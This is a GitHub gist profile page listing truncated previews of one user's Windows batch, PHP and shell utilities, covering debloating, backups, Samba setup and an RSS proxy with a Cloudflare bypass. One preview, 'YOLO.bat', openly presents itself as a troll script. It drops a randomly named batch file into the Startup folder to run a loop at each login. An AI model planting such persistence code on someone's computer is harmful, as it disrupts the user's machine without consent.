Skip to content

Instantly share code, notes, and snippets.

Albirew

Block or report user

Report or block Albirew

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View wannaPatch.bat
@echo off
:: https://gist.github.com/Albirew/613cbf63595647ff26b269d5271871a0
:: added rev.18 of Matt's privilege escalation script: http://stackoverflow.com/posts/12264592/revisions
:: UAC privilege escalation
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )
:getPrivileges
if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
@Albirew
Albirew / htaccess.bat
Created Jun 8, 2017
rename file in .htaccess in widows (cuz microsoft is a dick that don't allow filename starting with a dot)
View htaccess.bat
@echo off
if [%1]==[] goto noarg
ren %1 .htaccess
exit
:noarg
echo rename input file into .htaccess
echo Usage: htaccess.bat "truc.txt"
pause
exit
@Albirew
Albirew / proxrss.php
Created Jun 4, 2017
A simple RSS proxy featuring a cloudflare bypass that may or may not work
View proxrss.php
<?php
/* cloudflare part by asifpk
* seduce.gravity@gmail.com */
function OpenURLcloudflare($url) {
//get cloudflare ChallengeForm
$page = OpenURL($url);
$data = explode('challenge-form',$page);
$data = explode('=', $data[1]);
$data = explode(';', $data[1]);
$value = $data[0];
@Albirew
Albirew / remove_GWX.bat
Last active Mar 14, 2017
Remove shitty Windows 10 upgrade notification from your W7-W8.1 computer
View remove_GWX.bat
@echo off
:: Writed by CynerOne, updated and commented by Albirew
:: CynerOne original located here: http://lecrabeinfo.net/desinstaller-lapplication-obtenir-windows-10-supprimer-icone-windows-10.html#comment-2374542969
:: also added rev.18 of Matt's privilege escalation script: http://stackoverflow.com/posts/12264592/revisions
:: V2 added Inny suggestion: http://www.nextinpact.com/news/97735-microsoft-se-fait-plus-insistant-sur-migration-vers-windows-10.htm#/comment/5555097
:: V3 added Timo's list: http://lehollandaisvolant.net/?d=2016/01/16/13/29/06-windows-78-bloquer-les-mises-a-niveau-vers-windows-10
:: V4 escaped chevrons inside echo (my bad)
:: V5 reordered updates removal by kb number for readability and added some of isleaked updates: https://fix10.isleaked.com/oldwindows.html
:: V6 modified error check to make it not stop when non fatal error occur and added script to automatically hide nasty updates on Windows Update ( https://gist.github.com/neckcen/f099eda0b1cde283cdc9 )
:: V7 added WGA update and
@Albirew
Albirew / win10 delete OneDrive.bat
Last active Mar 4, 2017
Windows 10 debloating set
View win10 delete OneDrive.bat
@echo off
:: OneDrive removal tool for windows 10
:: edited version of: http://wayback.archive.org/web/20150811115546/http://secondclock.net/?p=28
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º OneDrive remover º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
pause
color 0e
@Albirew
Albirew / YOLO.bat
Last active Oct 20, 2016
evolution of a "harmless" troll batch file (see revisions)
View YOLO.bat
@echo off
:: YOLO v4 - ARMAGETROLL
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
View crypter PDF (drag&Drop).bat
@echo off
:: permet de crypter un fichier pdf avec pdftk simplement en lachant le fichier pdf sur ce bat.
:: vous aurez besoin de PDFTK(1): http://www.accesspdf.com/pdftk/ (1.12 à la date de ce batch)
:: utile pour faire chier les administrations en bloquant le copier-coller et en permettant que l'impression
:: si vous voulez placer ce fichier en dehors du dossier de pdftk, veuillez remplacer %~dp0 dans la ligne suivante
set pdftk=%~dp0
:: ensuite, votre mot de passe pour crypter votre PDF
set pwd=Putain de mot de passe en or massif 24 carats serti de diamants!
@Albirew
Albirew / backup-bdd.sh
Last active Apr 21, 2016
script de sauvegarde SQL via ftp
View backup-bdd.sh
#!/bin/sh
#Backup des fichiers du serveur
#NÉCESSITE LFTP SUR VOTRE SERVEUR (apt install lftp)
#Définitions des variables
#date du jour au format année mois jour pour lister les fichiers naturellement par date
datejour=$(date +%Y%m%d)
localpath=~/backup/BDD
#variables pour le serveur FTP (et sinon, rsync?)
remoteserver="serveur-backup.domaine.fr 21"
@Albirew
Albirew / backup-fichiers.sh
Created Apr 21, 2016
script de sauvegarde de fichiers via ftp
View backup-fichiers.sh
#!/bin/sh
#Backup des fichiers du serveur
#NÉCESSITE LFTP SUR VOTRE SERVEUR (apt install lftp)
#Définitions des variables
#date du jour au format année mois jour pour lister les fichiers naturellement par date
datejour=$(date +%Y%m%d)
localpath=~/backup/FICHIERS
#variables pour le serveur FTP (c'est quand qu'on passe sur rsync, déjà?)
remoteserver="serveur-backup.domaine.fr 21"
@Albirew
Albirew / sambaUsers.bat
Created Feb 21, 2016
prepare script and configuration for your linux samba server from some windows computer
View sambaUsers.bat
@echo off
:: sambaUsers - prepare script and configuration for your linux samba server from some windows computer
:: Release history:
:: V1 - initial release
:: usersFolder is the mounted smb share where user folders will be created
set usersFolder=Z:\users
:: userlist contains list of users to be created, each line must contains only user:pass
set userList=%usersFolder%\userlist.txt
:: sambaPath is server-side internal path where users folder will be located
You can’t perform that action at this time.